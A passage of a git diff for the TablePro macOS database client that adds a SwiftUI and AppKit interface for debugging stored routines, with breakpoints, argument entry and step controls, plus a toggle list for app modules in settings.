+    // A cancelled `setup` answers the sheet as dismissed, the way Cancel would.
+    static func present<Value: Sendable, Content: View>(
+        on parent: NSWindow,
+        setup: RoutineDebugSetup,
+        @ViewBuilder content: (@escaping @MainActor (Value?) -> Void) -> Content
+    ) async -> Value? {
+        guard !setup.isCancelled, parent.attachedSheet == nil else { return nil }
+        let presentation = Presentation<Value>(parent: parent)
+        let hosting = NSHostingController(rootView: content { presentation.finish($0) })
+        let sheet = NSWindow(contentViewController: hosting)
+        sheet.isReleasedWhenClosed = false
+        presentation.sheet = sheet
+        setup.dismissPresentation = { presentation.finish(nil) }
+        // A window closed under its sheet, as closing the connection from another window does, never answers it.
+        let parentClosing = NotificationCenter.default.addObserver(
+            forName: NSWindow.willCloseNotification,
+            object: parent,
+            queue: .main
+        ) { _ in
+            MainActor.assumeIsolated {
+                presentation.finish(nil)
+            }
+        }
+        let value = await withCheckedContinuation { continuation in
+            presentation.continuation = continuation
+            parent.beginSheet(sheet)
+        }
+        NotificationCenter.default.removeObserver(parentClosing)
+        setup.dismissPresentation = nil
+        return value
+    }
+
+    @MainActor
+    private final class Presentation<Value: Sendable> {
+        weak var parent: NSWindow?
+        var sheet: NSWindow?
+        var continuation: CheckedContinuation<Value?, Never>?
+
+        init(parent: NSWindow) {
+            self.parent = parent
+        }
+
+        func finish(_ value: Value?) {
+            guard let continuation, let sheet else { return }
+            self.continuation = nil
+            self.sheet = nil
+            if let parent {
+                parent.endSheet(sheet)
+            } else {
+                sheet.orderOut(nil)
+            }
+            // Released on the next turn: the hosting view is still inside the button action that answered.
+            Task { @MainActor in
+                sheet.contentViewController = nil
+            }
+            continuation.resume(returning: value)
+        }
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift
new file mode 100644
index 0000000000..8c9b27c66f
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift
@@ -0,0 +1,135 @@
+//
+//  RoutineDebugSourceView.swift
+//  TablePro
+//
+
+import AppKit
+import SwiftUI
+import TableProEditorKit
+import TableProGrammars
+
+// The editor owns the ribbon's drawing and the host owns its contents, so the two meet only through this object.
+@MainActor
+internal final class RoutineDebugSourceBridge: TextViewCoordinator {
+    private weak var controller: TextViewController?
+    var onToggleBreakpoint: ((Int) -> Void)?
+    var onCursorLine: ((Int?) -> Void)?
+    private var breakpointLines: Set<Int> = []
+    private var executionLine: Int?
+
+    func prepareCoordinator(controller: TextViewController) {
+        self.controller = controller
+        controller.onBreakpointToggle = { [weak self] line in
+            self?.onToggleBreakpoint?(line)
+        }
+        apply()
+    }
+
+    func textViewDidChangeSelection(controller: TextViewController, newPositions: [CursorPosition]) {
+        let line = newPositions.first?.start.line
+        onCursorLine?(line.flatMap { $0 > 0 ? $0 : nil })
+    }
+
+    func show(breakpoints: Set<Int>, executionLine: Int?) {
+        breakpointLines = breakpoints
+        self.executionLine = executionLine
+        apply()
+    }
+
+    func destroy() {
+        controller?.onBreakpointToggle = nil
+        controller = nil
+    }
+
+    private func apply() {
+        guard let controller else { return }
+        if controller.breakpointLines != breakpointLines {
+            controller.breakpointLines = breakpointLines
+        }
+        if controller.executionLine != executionLine {
+            controller.executionLine = executionLine
+        }
+    }
+}
+
+// Read-only on purpose: breakpoint and stop lines index the text the session returned, so an edit would misplace them.
+internal struct RoutineDebugSourceView: View {
+    @ObservedObject var controller: RoutineDebugController
+    let databaseType: DatabaseType
+
+    @State private var text = ""
+    @State private var editorState = SourceEditorState()
+    @State private var bridge = RoutineDebugSourceBridge()
+    @State private var configuration = Self.makeConfiguration()
+
+    var body: some View {
+        Group {
+            if controller.displayedUnit == nil {
+                placeholder
+            } else {
+                SourceEditor(
+                    $text,
+                    language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage,
+                    configuration: configuration,
+                    state: $editorState,
+                    coordinators: [bridge]
+                )
+            }
+        }
+        .onAppear(perform: syncAll)
+        .onChange(of: controller.displayedSource) { source in
+            text = source
+            syncMarkers()
+        }
+        .onChange(of: controller.displayedBreakpointLines) { _ in syncMarkers() }
+        .onChange(of: controller.executionLine) { _ in syncMarkers() }
+        .onReceive(AppEvents.shared.themeChanged) { _ in
+            configuration = Self.makeConfiguration()
+        }
+    }
+
+    @ViewBuilder
+    private var placeholder: some View {
+        if controller.state.isTerminal {
+            Color.clear
+        } else {
+            ProgressView()
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+        }
+    }
+
+    private func syncAll() {
+        let controller = controller
+        bridge.onToggleBreakpoint = { [weak controller] line in
+            controller?.toggleBreakpoint(atLine: line)
+        }
+        bridge.onCursorLine = { [weak controller] line in
+            controller?.cursorLine = line
+        }
+        text = controller.displayedSource
+        syncMarkers()
+    }
+
+    private func syncMarkers() {
+        bridge.show(breakpoints: controller.displayedBreakpointLines, executionLine: controller.executionLine)
+    }
+
+    private static func makeConfiguration() -> SourceEditorConfiguration {
+        SourceEditorConfiguration(
+            appearance: .init(
+                theme: ThemeEngine.shared.makeEditorTheme(),
+                font: ThemeEngine.shared.editorFonts.font,
+                wrapLines: false
+            ),
+            behavior: .init(isEditable: false),
+            layout: .init(contentInsets: NSEdgeInsets(top: 4, left: 4, bottom: 4, right: 4)),
+            peripherals: .init(
+                showGutter: true,
+                showLineNumbers: true,
+                showFoldingRibbon: false,
+                showSpecialCharacters: false,
+                showBreakpoints: true
+            )
+        )
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift
new file mode 100644
index 0000000000..0e6e6e27c0
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift
@@ -0,0 +1,266 @@
+//
+//  RoutineDebugStartSheet.swift
+//  TablePro
+//
+
+import Combine
+import SwiftUI
+import TableProPluginKit
+
+@MainActor
+internal final class RoutineDebugStartModel: ObservableObject {
+    struct Argument: Identifiable, Equatable {
+        let id: Int
+        let parameter: PluginDebugParameter
+        var text = ""
+        var isNull = false
+        var usesDefault = false
+
+        var takesValue: Bool {
+            parameter.mode != .output
+        }
+
+        var value: PluginDebugArgumentValue {
+            if usesDefault { return .defaultValue }
+            if isNull { return .null }
+            return .text(text)
+        }
+    }
+
+    let plan: PluginDebugPlan
+    @Published private(set) var entryPointIndex = 0
+    @Published private(set) var arguments: [Argument] = []
+    @Published private(set) var optionValues: [String: String] = [:]
+
+    init(plan: PluginDebugPlan, rememberedOption: (String) -> String?) {
+        self.plan = plan
+        for field in plan.options {
+            optionValues[field.id] = field.isSecure ? field.defaultValue ?? "" : rememberedOption(field.id) ?? field.defaultValue ?? ""
+        }
+        arguments = Self.arguments(for: plan.entryPoints.first)
+    }
+
+    var entryPoint: PluginDebugEntryPoint? {
+        plan.entryPoints.indices.contains(entryPointIndex) ? plan.entryPoints[entryPointIndex] : nil
+    }
+
+    func selectEntryPoint(_ index: Int) {
+        guard plan.entryPoints.indices.contains(index), index != entryPointIndex else { return }
+        entryPointIndex = index
+        arguments = Self.arguments(for: plan.entryPoints[index])
+    }
+
+    func setText(_ text: String, for id: Int) {
+        update(id) { $0.text = text }
+    }
+
+    func setNull(_ isNull: Bool, for id: Int) {
+        update(id) { argument in
+            argument.isNull = isNull
+            if isNull { argument.usesDefault = false }
+        }
+    }
+
+    func setUsesDefault(_ usesDefault: Bool, for id: Int) {
+        update(id) { argument in
+            argument.usesDefault = usesDefault
+            if usesDefault { argument.isNull = false }
+        }
+    }
+
+    func setOption(_ value: String, for fieldId: String) {
+        optionValues[fieldId] = value
+    }
+
+    func isVisible(_ field: ConnectionField) -> Bool {
+        guard let rule = field.visibleWhen else { return true }
+        return rule.values.contains(optionValues[rule.fieldId] ?? "")
+    }
+
+    func choice() -> RoutineDebugStartChoice? {
+        guard let entryPoint else { return nil }
+        return RoutineDebugStartChoice(
+            entryPoint: entryPoint,
+            arguments: arguments.filter(\.takesValue).map {
+                PluginDebugArgument(parameterName: $0.parameter.name, value: $0.value)
+            },
+            optionValues: optionValues.filter { id, _ in
+                plan.options.contains { $0.id == id && isVisible($0) }
+            }
+        )
+    }
+
+    // One whole-value write, so a NULL tick and the text it clears land together.
+    private func update(_ id: Int, _ change: (inout Argument) -> Void) {
+        guard let index = arguments.firstIndex(where: { $0.id == id }) else { return }
+        var argument = arguments[index]
+        change(&argument)
+        arguments[index] = argument
+    }
+
+    private static func arguments(for entryPoint: PluginDebugEntryPoint?) -> [Argument] {
+        (entryPoint?.parameters ?? []).enumerated().map { index, parameter in
+            Argument(id: index, parameter: parameter, usesDefault: parameter.hasDefault)
+        }
+    }
+}
+
+internal struct RoutineDebugStartSheet: View {
+    @StateObject private var model: RoutineDebugStartModel
+    let onFinish: @MainActor (RoutineDebugStartChoice?) -> Void
+
+    init(model: RoutineDebugStartModel, onFinish: @escaping @MainActor (RoutineDebugStartChoice?) -> Void) {
+        _model = StateObject(wrappedValue: model)
+        self.onFinish = onFinish
+    }
+
+    static func present(
+        plan: PluginDebugPlan,
+        rememberedOption: (String) -> String?,
+        on window: NSWindow,
+        setup: RoutineDebugSetup
+    ) async -> RoutineDebugStartChoice? {
+        let model = RoutineDebugStartModel(plan: plan, rememberedOption: rememberedOption)
+        return await RoutineDebugSheet.present(on: window, setup: setup) { finish in
+            RoutineDebugStartSheet(model: model, onFinish: finish)
+        }
+    }
+
+    // Secrets stay out of defaults; the plan supplies them again next time.
+    static func rememberedValues(of choice: RoutineDebugStartChoice, in plan: PluginDebugPlan) -> [String: String] {
+        let secure = Set(plan.options.filter(\.isSecure).map(\.id))
+        return choice.optionValues.filter { !secure.contains($0.key) }
+    }
+
+    var body: some View {
+        VStack(alignment: .leading, spacing: 16) {
+            Text(String(format: String(localized: "Debug %@"), model.plan.target.name))
+                .font(.headline)
+
+            if model.plan.entryPoints.count > 1 {
+                Picker(String(localized: "Entry Point"), selection: entryPointBinding) {
+                    ForEach(Array(model.plan.entryPoints.enumerated()), id: \.offset) { index, entryPoint in
+                        Text(entryPoint.displayName).tag(index)
+                    }
+                }
+            }
+
+            if model.arguments.isEmpty {
+                Text(String(localized: "This routine takes no arguments."))
+                    .foregroundStyle(.secondary)
+            } else {
+                argumentTable
+            }
+
+            if !model.plan.options.isEmpty {
+                Form {
+                    ForEach(model.plan.options.filter { model.isVisible($0) }, id: \.id) { field in
+                        optionRow(field)
+                    }
+                }
+            }
+
+            if let note = model.plan.note, !note.isEmpty {
+                Text(note)
+                    .font(.footnote)
+                    .foregroundStyle(.secondary)
+                    .fixedSize(horizontal: false, vertical: true)
+            }
+
+            HStack {
+                Spacer()
+                Button(String(localized: "Cancel")) {
+                    onFinish(nil)
+                }
+                .keyboardShortcut(.cancelAction)
+                Button(String(localized: "Debug")) {
+                    onFinish(model.choice())
+                }
+                .keyboardShortcut(.defaultAction)
+                .disabled(model.entryPoint == nil)
+            }
+        }
+        .padding(20)
+        .frame(width: 600)
+    }
+
+    private var entryPointBinding: Binding<Int> {
+        Binding(get: { model.entryPointIndex }, set: { model.selectEntryPoint($0) })
+    }
+
+    // The ideal widths plus the table's insets and column gaps stay inside the sheet, or Default scrolls out of sight.
+    private var argumentTable: some View {
+        Table(model.arguments) {
+            TableColumn(String(localized: "Name")) { argument in
+                Text(argument.parameter.name)
+            }
+            .width(min: 80, ideal: 100)
+            TableColumn(String(localized: "Type")) { argument in
+                Text(argument.parameter.typeName)
+                    .foregroundStyle(.secondary)
+            }
+            .width(min: 60, ideal: 80)
+            TableColumn(String(localized: "Value")) { argument in
+                if argument.takesValue {
+                    TextField(
+                        String(localized: "Value"),
+                        text: Binding(get: { argument.text }, set: { model.setText($0, for: argument.id) })
+                    )
+                    .labelsHidden()
+                    .disabled(argument.isNull || argument.usesDefault)
+                } else {
+                    Text(String(localized: "Output"))
+                        .foregroundStyle(.secondary)
+                }
+            }
+            .width(min: 120, ideal: 140)
+            TableColumn(String(localized: "NULL")) { argument in
+                Toggle(
+                    String(localized: "NULL"),
+                    isOn: Binding(get: { argument.isNull }, set: { model.setNull($0, for: argument.id) })
+                )
+                .labelsHidden()
+                .disabled(!argument.takesValue)
+            }
+            .width(48)
+            TableColumn(String(localized: "Default")) { argument in
+                Toggle(
+                    String(localized: "Default"),
+                    isOn: Binding(get: { argument.usesDefault }, set: { model.setUsesDefault($0, for: argument.id) })
+                )
+                .labelsHidden()
+                .disabled(!argument.takesValue || !argument.parameter.hasDefault)
+            }
+            .width(56)
+        }
+        .frame(height: min(CGFloat(model.arguments.count) * 28 + 32, 220))
+    }
+
+    @ViewBuilder
+    private func optionRow(_ field: ConnectionField) -> some View {
+        let binding = Binding(
+            get: { model.optionValues[field.id] ?? "" },
+            set: { model.setOption($0, for: field.id) }
+        )
+        switch field.fieldType {
+        case .dropdown(let options):
+            Picker(field.label, selection: binding) {
+                ForEach(options, id: \.value) { option in
+                    Text(option.label).tag(option.value)
+                }
+            }
+        case .toggle:
+            Toggle(
+                field.label,
+                isOn: Binding(
+                    get: { binding.wrappedValue == "true" },
+                    set: { binding.wrappedValue = $0 ? "true" : "false" }
+                )
+            )
+        case .secure:
+            SecureField(field.label, text: binding, prompt: Text(field.placeholder))
+        default:
+            TextField(field.label, text: binding, prompt: Text(field.placeholder))
+        }
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift
new file mode 100644
index 0000000000..4ff591faf7
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift
@@ -0,0 +1,144 @@
+//
+//  RoutineDebugTabView.swift
+//  TablePro
+//
+
+import SwiftUI
+import TableProPluginKit
+
+// The call stack beside the source, and under them Xcode's debug area: its bar of controls and status, then variables beside the output.
+// Nested split views first lay out at their minimums, before the window gives them room, so holding priorities, not
+// thickness fractions, decide the layout: the source takes the room, the debug area and the stack keep their size, and
+// variables and output share theirs.
+internal struct RoutineDebugTabView: View {
+    @ObservedObject var controller: RoutineDebugController
+    let databaseType: DatabaseType
+
+    var body: some View {
+        AutosavingSplitView(
+            autosaveName: "com.TablePro.routineDebug.sourceAndPanes",
+            isVertical: false,
+            primaryMinimum: 160,
+            secondaryMinimum: 200,
+            primaryHoldingPriority: .splitPaneFlexible
+        ) {
+            AutosavingSplitView(
+                autosaveName: "com.TablePro.routineDebug.stackAndSource",
+                primaryMinimum: 200,
+                secondaryMinimum: 280
+            ) {
+                RoutineDebugCallStackView(controller: controller)
+            } secondary: {
+                RoutineDebugSourceView(controller: controller, databaseType: databaseType)
+            }
+        } secondary: {
+            VStack(spacing: 0) {
+                RoutineDebugBar(controller: controller)
+                Divider()
+                AutosavingSplitView(
+                    autosaveName: "com.TablePro.routineDebug.variablesAndOutput",
+                    primaryMinimum: 220,
+                    secondaryMinimum: 220,
+                    primaryHoldingPriority: .defaultLow
+                ) {
+                    RoutineDebugVariablesView(controller: controller)
+                } secondary: {
+                    RoutineDebugOutputView(controller: controller)
+                }
+            }
+        }
+    }
+}
+
+// The Debug menu's commands as one-click controls, with the run's status beside them.
+internal struct RoutineDebugBar: View {
+    @ObservedObject var controller: RoutineDebugController
+
+    var body: some View {
+        HStack(spacing: 12) {
+            HStack(spacing: 2) {
+                command(.continueExecution, title: String(localized: "Continue"), symbol: "play")
+                command(.stepOver, title: String(localized: "Step Over"), symbol: "arrow.uturn.forward")
+                command(.stepInto, title: String(localized: "Step Into"), symbol: "arrow.down.to.line")
+                command(.stepOut, title: String(localized: "Step Out"), symbol: "arrow.up.to.line")
+                Button {
+                    controller.stop()
+                } label: {
+                    Label(String(localized: "Stop"), systemImage: "stop")
+                }
+                .help(String(localized: "Stop Debugging"))
+                .disabled(!controller.canStop)
+            }
+            .labelStyle(.iconOnly)
+            .buttonStyle(.borderless)
+
+            Divider()
+                .frame(height: 16)
+
+            statusIcon
+            Text(controller.statusText)
+                .lineLimit(1)
+                .truncationMode(.tail)
+                .help(controller.statusText)
+                .accessibilityIdentifier("routine-debug-status")
+            if let error = controller.inspectionError {
+                Text(error)
+                    .foregroundStyle(.secondary)
+                    .lineLimit(1)
+                    .truncationMode(.tail)
+                    .help(error)
+            }
+            Spacer(minLength: 0)
+        }
+        .font(.callout)
+        .padding(.horizontal, 10)
+        .frame(height: 28)
+        .paneBarBackground()
+    }
+
+    private func command(_ command: PluginDebugCommand, title: String, symbol: String) -> some View {
+        Button {
+            controller.perform(command)
+        } label: {
+            Label(title, systemImage: symbol)
+        }
+        .help(title)
+        .disabled(!controller.canPerform(command))
+    }
+
+    @ViewBuilder
+    private var statusIcon: some View {
+        switch controller.state {
+        case .preparing, .starting, .running:
+            ProgressView()
+                .controlSize(.small)
+        case .paused:
+            Image(systemName: "pause.circle")
+                .foregroundStyle(.secondary)
+        case .finished:
+            Image(systemName: "checkmark.circle")
+                .foregroundStyle(.secondary)
+        case .failed:
+            Image(systemName: "exclamationmark.triangle")
+                .foregroundStyle(.secondary)
+        case .stopped:
+            Image(systemName: "stop.circle")
+                .foregroundStyle(.secondary)
+        }
+    }
+}
+
+// A debug tab exists only with a live controller, so a tab that has none says so rather than drawing empty panes.
+internal struct RoutineDebugTabContent: View {
+    let tabId: UUID
+    let databaseType: DatabaseType
+
+    var body: some View {
+        if let controller = RoutineDebugSessions.shared.controller(forTab: tabId) {
+            RoutineDebugTabView(controller: controller, databaseType: databaseType)
+        } else {
+            UnavailableStateView(String(localized: "Debug Session Ended"), systemImage: "ladybug")
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Settings/KeyboardSettingsView.swift b/apple/TablePro/Views/Settings/KeyboardSettingsView.swift
index 8f7d496536..670755875e 100644
--- a/apple/TablePro/Views/Settings/KeyboardSettingsView.swift
+++ b/apple/TablePro/Views/Settings/KeyboardSettingsView.swift
@@ -12,6 +12,7 @@ import SwiftUI
 struct KeyboardSettingsView: View {
     @Binding var settings: KeyboardSettings
 
+    @ObservedObject private var modules = AppModuleSettings.shared
     @State private var searchText = ""
     @State private var conflictAlert: ConflictAlertState?
     @State private var systemReservedAlert: ShortcutAction?
@@ -180,7 +181,7 @@ struct KeyboardSettingsView: View {
     // MARK: - Helpers
 
     private func filteredActions(for category: ShortcutCategory) -> [ShortcutAction] {
-        let categoryActions = ShortcutAction.allCases.filter { $0.category == category }
+        let categoryActions = ShortcutAction.settingsRows(in: category, enabledModules: modules.enabledModules)
         if searchText.isEmpty {
             return categoryActions
         }
diff --git a/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift b/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift
index b6c41bdd66..ae705b6054 100644
--- a/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift
+++ b/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift
@@ -9,6 +9,7 @@ struct InstalledPluginsView: View {
     // isInstalling reads the tracker, which the plugin manager does not republish.
     @ObservedObject private var installTracker = PluginInstallTracker.shared
     @ObservedObject private var navigation = PluginsSettingsNavigation.shared
+    @ObservedObject private var modules = AppModuleSettings.shared
 
     @State private var selectedPluginId: String?
     @State private var searchText = ""
@@ -27,6 +28,10 @@ struct InstalledPluginsView: View {
         return pluginManager.plugins.filter { $0.name.localizedCaseInsensitiveContains(searchText) }
     }
 
+    private var filteredModules: [AppModule] {
+        AppModule.allCases.filter { $0.matches(filter: searchText) }
+    }
+
     var body: some View {
         VStack(spacing: 0) {
             if !pluginManager.rejectedPlugins.isEmpty && !dismissedRejectedBanner {
@@ -242,10 +247,20 @@ struct InstalledPluginsView: View {
 
             ScrollViewReader { proxy in
                 List(selection: $selectedPluginId) {
-                    ForEach(filteredPlugins) { plugin in
-                        pluginRow(plugin)
-                            .tag(plugin.id)
-                            .id(plugin.id)
+                    if !filteredModules.isEmpty {
+                        // Untagged, so a module row toggles but never takes the plugin selection.
+                        Section(String(localized: "Modules")) {
+                            ForEach(filteredModules, id: \.self) { module in
+                                ModuleToggleRow(module: module, settings: modules)
+                            }
+                        }
+                    }
+                    Section(String(localized: "Plugins")) {
+                        ForEach(filteredPlugins) { plugin in
+                            pluginRow(plugin)
+                                .tag(plugin.id)
+                                .id(plugin.id)
+                        }
                     }
                 }
                 .listStyle(.inset)
diff --git a/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift b/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift
new file mode 100644
index 0000000000..eb94ca5d06
--- /dev/null
+++ b/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift
@@ -0,0 +1,33 @@
+import SwiftUI
+
+// A checkbox per module, the way Safari lists its extensions; this click is the only way a module turns on.
+struct ModuleToggleRow: View {
+    let module: AppModule
+    @ObservedObject var settings: AppModuleSettings
+
+    var body: some View {
+        Toggle(isOn: Binding(
+            get: { settings.isEnabled(module) },
+            set: { AppModuleActivation.setEnabled($0, for: module, settings: settings) }
+        )) {
+            VStack(alignment: .leading, spacing: 2) {
+                Text(module.title)
+                Text(module.summary)
+                    .font(.caption)
+                    .foregroundStyle(.secondary)
+                    .fixedSize(horizontal: false, vertical: true)
+            }
+        }
+        .toggleStyle(.checkbox)
+        .padding(.vertical, 2)
+        .accessibilityIdentifier("module-toggle-\(module.rawValue)")
+    }
+}
+
+extension AppModule {
+    func matches(filter: String) -> Bool {
+        filter.isEmpty
+            || title.localizedCaseInsensitiveContains(filter)
+            || summary.localizedCaseInsensitiveContains(filter)
+    }
+}
diff --git a/apple/TablePro/Views/Settings/SettingsView.swift b/apple/TablePro/Views/Settings/SettingsView.swift
index 615920ba07..ac5a66df51 100644
--- a/apple/TablePro/Views/Settings/SettingsView.swift
+++ b/apple/TablePro/Views/Settings/SettingsView.swift
@@ -19,7 +19,8 @@ enum SettingsPane: String, CaseIterable {
         case .notifications: String(localized: "Notifications")
         case .ai: String(localized: "AI")
         case .mcp: "MCP"
-        case .plugins: String(localized: "Plugins")
+        // The rawValue and the URL id stay "plugins": they are the stored pane and a published link.
+        case .plugins: String(localized: "Extensions")
         case .sync: String(localized: "Sync")
         /// The stored rawValue stays "account": it is the tab item identifier and the pane the
         /// window restores, so renaming it would silently reset everyone's last-used pane.
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift
index f19d44f768..e406897762 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift
@@ -139,6 +139,8 @@ extension DatabaseTreeOutlineCoordinator {
             ClipboardService.shared.writeText(text)
         case .showObjectSource(let ref):
             mainCoordinator?.showObjectSource(ref)
+        case .debugRoutine(let ref):
+            debugRoutine(ref)
         case .dropUserType, .renameUserType, .newUserType:
             performUserTypeCommand(command)
         case .refreshRedisKeys:
@@ -233,6 +235,12 @@ extension DatabaseTreeOutlineCoordinator {
         }
     }
 
+    // The run dials its own connections on the row's database, so the browse cursor never has to move, and a switch that
+    // fails or is cancelled cannot leave the run on another database.
+    private func debugRoutine(_ ref: DatabaseTreeRoutineRef) {
+        mainCoordinator?.debugRoutine(ref.routine, database: ref.database, schema: ref.schema)
+    }
+
     private func performUserTypeCommand(_ command: SidebarMenuCommand) {
         switch command {
         case .dropUserType(let ref):
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift
index 38c3f02108..d48854232f 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift
@@ -122,7 +122,10 @@ extension DatabaseTreeOutlineCoordinator: NSMenuDelegate {
             tableFolderOptions: tableFolderMenuOptions(clicked: clicked, selected: selectedRefs()),
             offersBrowsedFolders: creation.offersBrowsedFolders,
             canShowAllTables: mainCoordinator?.allTablesListing() != nil,
-            listsAttachedSchemas: listsAttachedSchemas
+            listsAttachedSchemas: listsAttachedSchemas,
+            canDebugRoutine: DatabaseTreeMenuContext.canDebugRoutine(clicked?.kind, modules: .shared) {
+                mainCoordinator?.routineDebugTarget(for: $0)
+            }
         )
     }
 
diff --git a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift
index 79cea97397..0def1ddf99 100644
--- a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift
+++ b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift
@@ -81,6 +81,20 @@ internal struct DatabaseTreeMenuContext {
     /// The engine's schema rows are databases attached beside the opened file: reached by their
     /// qualifier, never made active, and not exported or copied as a unit.
     internal var listsAttachedSchemas: Bool = false
+    internal var canDebugRoutine: Bool = false
+}
+
+internal extension DatabaseTreeMenuContext {
+    // The module is asked first, so with it off the debugger's code is never reached from a menu.
+    @MainActor
+    static func canDebugRoutine(
+        _ clicked: DatabaseTreeNode.Kind?,
+        modules: AppModuleSettings,
+        debugTarget: (RoutineInfo) -> PluginDebugTarget?
+    ) -> Bool {
+        guard modules.isEnabled(.routineDebugger), case .routine(let ref) = clicked else { return false }
+        return debugTarget(ref.routine) != nil
+    }
 }
 
 internal extension DatabaseTreeMenuContext {
diff --git a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift
index a3a61448e6..39d1569256 100644
--- a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift
+++ b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift
@@ -41,7 +41,7 @@ internal enum DatabaseTreeMenuSpec {
                 context: context
             )
         case .routine(let ref):
-            return routineSections(ref)
+            return routineSections(ref, context: context)
         case .trigger(let ref):
             return triggerSections(ref)
         case .userType(let ref):
@@ -304,7 +304,10 @@ internal enum DatabaseTreeMenuSpec {
         return [DatabaseTreeMenuSection(copies)]
     }
 
-    private static func routineSections(_ ref: DatabaseTreeRoutineRef) -> [DatabaseTreeMenuSection] {
+    private static func routineSections(
+        _ ref: DatabaseTreeRoutineRef,
+        context: DatabaseTreeMenuContext
+    ) -> [DatabaseTreeMenuSection] {
         var copies: [DatabaseTreeMenuItem] = [.command(String(localized: "Copy Name"), .copyText(ref.routine.name))]
         if let signature = ref.routine.argumentSignature, !signature.isEmpty {
             copies.append(.command(
@@ -312,10 +315,14 @@ internal enum DatabaseTreeMenuSpec {
                 .copyText(RoutineDisplayLabel.copyableSignature(for: ref.routine))
             ))
         }
-        return [
+        var sections = [
             DatabaseTreeMenuSection(copies),
             DatabaseTreeMenuSection([.command(String(localized: "Show DDL"), .showObjectSource(ref.objectRef))])
         ]
+        if context.canDebugRoutine {
+            sections.append(DatabaseTreeMenuSection([.command(String(localized: "Debug…"), .debugRoutine(ref))]))
+        }
+        return sections
     }
 
     private static func triggerSections(_ ref: DatabaseTreeTriggerRef) -> [DatabaseTreeMenuSection] {
diff --git a/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift b/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift
index 0f97086115..0357e60911 100644
--- a/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift
+++ b/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift
@@ -77,6 +77,7 @@ internal enum SidebarMenuCommand: Equatable {
     case refreshHierarchicalSchema(String)
     case copyText(String)
     case showObjectSource(DatabaseObjectRef)
+    case debugRoutine(DatabaseTreeRoutineRef)
     case dropUserType(DatabaseTreeUserTypeRef)
     case renameUserType(DatabaseTreeUserTypeRef)
     /// Nil database and schema mean the ones the sidebar is browsing.
diff --git a/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift b/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift
index 235acd1457..a2121b2986 100644
--- a/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift
+++ b/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift
@@ -25,7 +25,7 @@ enum StructureColumnReorderHandler {
                 return String(
                     localized: """
                         Could not build the column reorder for this table. If this engine's driver \
-                        was installed before column reorder shipped, update it in Settings > Plugins.
+                        was installed before column reorder shipped, update it in Settings > Extensions.
                         """
                 )
             }
diff --git a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
index 9ad23ae13b..89606ef982 100644
--- a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
+++ b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
@@ -67,7 +67,7 @@ enum StructureTableRebuildHandler {
                     localized: """
                         Could not build the table rebuild for this change. If this engine's driver \
                         was installed before foreign key editing shipped, update it in \
-                        Settings > Plugins.
+                        Settings > Extensions.
                         """
                 )
             }
diff --git a/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift b/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift
new file mode 100644
index 0000000000..820f372d7d
--- /dev/null
+++ b/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift
@@ -0,0 +1,190 @@
+import AppKit
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct DebugMenuBuilderTests {
+    private static let defaultedActions: [ShortcutAction] = [.debugContinue, .debugStepOver, .debugStepInto, .debugStepOut]
+
